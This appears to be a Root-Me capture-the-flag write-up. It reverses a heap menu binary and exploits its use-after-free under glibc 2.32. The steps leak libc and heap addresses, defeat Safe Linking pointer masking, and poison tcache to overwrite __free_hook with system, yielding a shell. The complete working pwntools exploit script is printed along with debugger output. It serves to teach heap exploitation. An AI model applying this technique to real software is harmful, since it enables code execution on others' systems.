PWN ROOT-ME , Safe Linking Bypass.
Summary
This challenge have an UAF bug which occures when freeing a chunk is some way , but glibc version is 2.32
so we have to deal with Safe Linking
by getting a heap leak.
Understanding The Program Flow
The binary have a five choices menu which allows you to allocate a bloc, delete a bloc, edit a bloc , show a bloc and freeze a bloc. Reversing this binary is not hard , i am going to explain briefly through every choice.
Allocating a bloc
if ( choice == 1 )
{
index = get_index();
puts("Bloc Size:");
if ( (unsigned int)__isoc99_scanf("%lu", size) != 1 )
exit(-1);
v4 = size[0];
if ( size[0] > 1280 )
{
puts("Bad size..");
exit(-1);
}
sizes[index] = size[0];
*heap[index] = malloc(v4);
puts("Data:");
size[0] = read(0, *((void **)&heap + index), size[0]);
*(_BYTE *)(*((_QWORD *)&heap + index) + size[0] - 1) = 0;
}
This function is so simple it takes an index ( without checking if this index is availble or not , this will be usefull later) , a size which should not more than 1280 , and finally it takes data into the allocated chunk.
Freezing a bloc
if ( choice == 5 )
{
index = get_index();
if ( freezed == -1 )
freezed = index;
}
Simple choice , it prompts for an index and checks if freezed
global variable is equal to -1 , if condition is met the freezed
variable gets the index value. this choice will get in handy when i explain how deleting a bloc works. NB : This choice is only a one time use since we are going to change freezed
value to index value so the condition check for if freezed equals -1 now is false
Deleting a bloc
PS: i usually do my reversing in ida but for this choice ida gave me some false positive so i had to do it using ghidra.
if (choice == 2) {
index = get_index();
if (*(void **)(heap + index * 8) != (void *)0x0) {
if ((freezed == index) && (isfreezed != 0)) goto LAB_00100c8b;
free(*(void **)(heap + index * 8));
}
if (freezed == index) {
isfreezed = 1;
}
else {
*(undefined8 *)(heap + index * 8) = 0;
}
}
our bug lays here , by tricking the program we can achieve a UAF Bug
but this bug is only availble for only one index so we need to use it carefully.
Editing a bloc
if ( choice == 3 )
{
index = get_index();
if ( *((_QWORD *)&heap + v7) )
{
puts("Data:");
size[0] = read(0, *((void **)&heap + index), sizes[v7]);
*(_BYTE *)(*((_QWORD *)&heap + v7) + sizes[index] - 1LL) = 0;
Showing a bloc
if ( choice == 4 )
{
index = get_index();
if ( *((_QWORD *)&heap + index) )
{
puts("Data:");
puts(*((const char **)&heap + index));
}
}
Exploitation
now we have a brief idea about the functinality of the program, let’s try some exploitation.
creating some helpers
#!/usr/bin/env python3
from pwn import *
context.update(os="linux", arch = "amd64", log_level="debug")
exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.32.so")
context.binary = exe
#p = process("./chall_patched")
p = remote("challenge03.root-me.org", 56589)
def alpha(heap, target):
return target ^ (heap >> 0xc)
def x(): gdb.attach(p)
def sl(choice): p.sendlineafter(b"Choice?\n", str(choice))
def add(idx,size,content:bytes):
sl(1)
p.sendlineafter("Index:", str(idx))
p.sendlineafter("Size:", str(size))
p.sendafter("Data:", content)
def free(idx):
sl(2)
p.sendlineafter("Index:", str(idx))
def edit(idx,content:bytes):
sl(3)
p.sendlineafter("Index:", str(idx))
p.sendafter("Data:", content)
def show(idx):
sl(4)
p.sendlineafter("Index:", str(idx))
def freeze(idx):
sl(5)
p.sendlineafter("Index:", str(idx))
def decrypt(cipher):
key = 0
for i in range(1, 6):
bits = 64 - 12 * i
if bits < 0:
bits = 0
plain = ((cipher ^ key) >> bits) << bits
key = plain >> 12
return plain
def main():
x()
p.interactive()
if __name__ == "__main__":
main()
i am going to explain what alpha()
and decrypt()
functions does later on .
Libc base leaking :
add(0, 0x428, b"A"*8)
add(1 ,0x18, b"B"*8)
freeze(0)
free(0)
add(2, 0x438, b"E" * 8)
show(0)
print(p.recvline())
print(p.recvline())
libc_base = u64(p.recvline().strip(b"\n").ljust(8,b"\x00")) - 0x1e3ff0
print(hex(libc_base))
here i allocated a big chunk so it goes beyong the tcache bin size range so i can get a libc pointer. chunk with index 1 is for preventing consolidation. freeing the index 0 chunk then i add an another chunk which is bigger than the first one to push the first chunk into the large bin. So generally in classic heap exploitation challenges we use unsorted bin to leak libc , in this case if we use unsorted bin it’s going to be a dead end since the address of the head of unsorted bin in main_arena
contains a null byte
, the function show a bloc uses puts
to show the content of a bloc and puts
stops in a null byte
so we have to figure out another way to leak the libc. i choose large bin
, small bin
also may works (i didn’t try it). so now our heap state is like this.
gef➤ heap bins
───────────────────────────────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ─────────────────────────────────────────────────────────────────────────────────────────────────────────
Tcachebins[idx=63, size=0x410, count=1] ← Chunk(addr=0x563e88fbc2a0, size=0x410, flags=PREV_INUSE)
────────────────────────────────────────────────────────────────────────────────────────────────── Fastbins for arena at 0x7fc631bf2ba0 ──────────────────────────────────────────────────────────────────────────────────────────────────
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
──────────────────────────────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0x7fc631bf2ba0 ────────────────────────────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in unsorted bin.
───────────────────────────────────────────────────────────────────────────────────────────────── Small Bins for arena at 0x7fc631bf2ba0 ─────────────────────────────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
───────────────────────────────────────────────────────────────────────────────────────────────── Large Bins for arena at 0x7fc631bf2ba0 ─────────────────────────────────────────────────────────────────────────────────────────────────
[+] large_bins[63]: fw=0x563e88fbc6a0, bk=0x563e88fbc6a0
→ Chunk(addr=0x563e88fbc6b0, size=0x430, flags=PREV_INUSE)
[+] Found 1 chunks in 1 large non-empty bins.
0x563e88fbc6a0: 0x0000000000000000 0x0000000000000431
0x563e88fbc6b0: 0x00007fc631bf2ff0 0x00007fc631bf2ff0
0x563e88fbc6c0: 0x0000563e88fbc6a0 0x0000563e88fbc6a0
0x563e88fbc6d0: 0x0000000000000000 0x0000000000000000
gef➤
0x563e88fbc6e0: 0x0000000000000000 0x0000000000000000
0x563e88fbc6f0: 0x0000000000000000 0x0000000000000000
0x563e88fbc700: 0x0000000000000000 0x0000000000000000
0x563e88fbc710: 0x0000000000000000 0x0000000000000000
0x563e88fbc720: 0x0000000000000000 0x0000000000000000
0x563e88fbc730: 0x0000000000000000 0x0000000000000000
0x563e88fbc740: 0x0000000000000000 0x0000000000000000
.........................................................
.........................................................
0x563e88fbcad0: 0x0000000000000430 0x0000000000000020
0x563e88fbcae0: 0x0042424242424242 0x0000000000000000
the output from the program
b'Data:\n'
0x7fc631a0f000 // libc base
[*] running in new terminal: ['/usr/bin/gdb', '-q', './chall_patched', '57940']
[DEBUG] Created script for new terminal:
#!/usr/bin/python3
import os
os.execve('/usr/bin/gdb', ['/usr/bin/gdb', '-q', './chall_patched', '57940'], os.environ)
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/tmp/tmptd_0eyj7']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
What do you want to do...
1 . Alloc a bloc
2 . Free a bloc
3 . Edit a bloc
4 . Show a bloc
5 - Freeze a bloc
Choice?
$
libc base leaking is done we go for heap base leak.
Heap base leak
Well in usual Tcache poisining attacks
heap base leaks is not required but since libc 2.32
introduced Safe Linking
heap base now is a must to be able to solve such challenges. for more information, about Safe Linking
: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/
add(3, 0x20, b"X" * 8)
add(4, 0x20, b"Z" * 8)
add(5, 0x18, b"/bin/sh\x00")
free(4)
free(3)
show(0)
print(p.recvline())
print(p.recvline())
leak = u64(p.recvline().strip(b"\n").ljust(8,b"\x00"))
heap_base = decrypt(leak) -0x2d0#- 0x6e0 for local
print(hex(heap_base))
now the array that contains the heap pointer is this program is called heap
. In this array index 0 and index 3 hold the same pointer for the same chunk which we are going to use to get a heap leak . first we allcoate 2 chunks with the same size , and another with any size (just to prevent from merging). now we free both of them so the tcache bin state for size 0x20 is like this TCACHE[0x20] = INDEX_0_FWD points_to => INDEX_1
as we said earlier index 0 and index 3 in the heap array have the same pointer so by showing the index 0 chunk we get a heap leak (we can’t do the same by showing index 3 because index 3 have been nulled in the heap array). finally we have to decrypt the pointer that we leaked using the decrypt()
function to regain the original pointer and calculate the heap base. output:
b'Data:\n'
0x5620321ce410
[*] running in new terminal: ['/usr/bin/gdb', '-q', './chall_patched', '61258']
[DEBUG] Created script for new terminal:
#!/usr/bin/python3
import os
os.execve('/usr/bin/gdb', ['/usr/bin/gdb', '-q', './chall_patched', '61258'], os.environ)
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/tmp/tmpxoowqif3']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
What do you want to do...
1 . Alloc a bloc
2 . Free a bloc
3 . Edit a bloc
4 . Show a bloc
5 - Freeze a bloc
Choice?
$
Heap state :
0x5620321ce6a0: 0x0000000000000000 0x0000000000000031
0x5620321ce6b0: 0x00005625501fc72e 0x00005620321ce010 //encryped pointer.
0x5620321ce6c0: 0x00005620321ce6a0 0x00005620321ce6a0
0x5620321ce6d0: 0x0000000000000000 0x0000000000000031
0x5620321ce6e0: 0x00000005620321ce 0x00005620321ce010
0x5620321ce6f0: 0x0000000000000000 0x0000000000000000
0x5620321ce700: 0x0000000000000000 0x0000000000000021
0x5620321ce710: 0x0068732f6e69622f 0x00007fc87b900c00
0x5620321ce720: 0x0000000000000000 0x00000000000003b1
0x5620321ce730: 0x00007fc87b900c00 0x00007fc87b900c00
0x5620321ce740: 0x0000000000000000 0x0000000000000000
0x5620321ce750: 0x0000000000000000 0x0000000000000000
0x5620321ce760: 0x0000000000000000 0x0000000000000000
0x5620321ce770: 0x0000000000000000 0x0000000000000000
0x5620321ce780: 0x0000000000000000 0x0000000000000000
.........................................................
.........................................................
0x5620321cead0: 0x00000000000003b0 0x0000000000000020
0x5620321ceae0: 0x0042424242424242 0x0000000000000000
0x5620321ceaf0: 0x0000000000000000 0x0000000000000441
.........................................................
calculating necessary addresses
system = libc_base + libc.sym.system
hook = libc_base + libc.sym.__free_hook
Only one thing left which is to mask the target pointer that we want to overwrite so we bypass Safe Linking
.
hook = alpha(heap_base, hook)
everything is read , classic Tcache poising attack
now .
edit(0, p64(hook))
add(6, 0x20, b"A" * 8)
add(7, 0x20, p64(system))
free(5) // triggering the sploit.
and we should be good
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x3b bytes:
b'chall chall_patched core ld-2.32.so\tlibc.so.6 solve.py\n'
chall chall_patched core ld-2.32.so libc.so.6 solve.py
$ id
[DEBUG] Sent 0x3 bytes:
b'id\n'
[DEBUG] Received 0xd0 bytes:
b'uid=1000(retr0) gid=1000(retr0) groups=1000(retr0),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),122(bluetooth),134(scanner),142(kaboxer)\n'
uid=1000(retr0) gid=1000(retr0) groups=1000(retr0),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),122(bluetooth),134(scanner),142(kaboxer)
$
Full Exploit
#!/usr/bin/env python3
from pwn import *
context.update(os="linux", arch = "amd64", log_level="debug")
exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.32.so")
context.binary = exe
#p = process("./chall_patched")
p = remote("challenge03.root-me.org", 56589)
def alpha(heap, target):
return target ^ (heap >> 0xc)
def x(): gdb.attach(p)
def sl(choice): p.sendlineafter(b"Choice?\n", str(choice))
def add(idx,size,content:bytes):
sl(1)
p.sendlineafter("Index:", str(idx))
p.sendlineafter("Size:", str(size))
p.sendafter("Data:", content)
def free(idx):
sl(2)
p.sendlineafter("Index:", str(idx))
def edit(idx,content:bytes):
sl(3)
p.sendlineafter("Index:", str(idx))
p.sendafter("Data:", content)
def show(idx):
sl(4)
p.sendlineafter("Index:", str(idx))
def freeze(idx):
sl(5)
p.sendlineafter("Index:", str(idx))
def decrypt(cipher):
key = 0
for i in range(1, 6):
bits = 64 - 12 * i
if bits < 0:
bits = 0
plain = ((cipher ^ key) >> bits) << bits
key = plain >> 12
return plain
def main():
add(0, 0x428, b"A"*8)
add(1 ,0x18, b"B"*8)
freeze(0)
free(0)
add(2, 0x438, b"E" * 8)
show(0)
print(p.recvline())
print(p.recvline())
libc_base = u64(p.recvline().strip(b"\n").ljust(8,b"\x00")) - 0x1e3ff0
print(hex(libc_base))
add(3, 0x20, b"X" * 8)
add(4, 0x20, b"Z" * 8)
add(5, 0x18, b"/bin/sh\x00")
free(4)
free(3)
show(0)
print(p.recvline())
print(p.recvline())
leak = u64(p.recvline().strip(b"\n").ljust(8,b"\x00"))
heap_base = decrypt(leak) -0x2d0#- 0x6e0
print(hex(heap_base))
system = libc_base + libc.sym.system
hook = libc_base + libc.sym.__free_hook
hook = alpha(heap_base, hook)
edit(0, p64(hook))
add(6, 0x20, b"A" * 8)
add(7, 0x20, p64(system))
p.interactive()
if __name__ == "__main__":
main()
Gihub : https://github.com/retr0Rocks/CTF-Writeups/tree/main/Root-Me/Safe%20Linking References: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/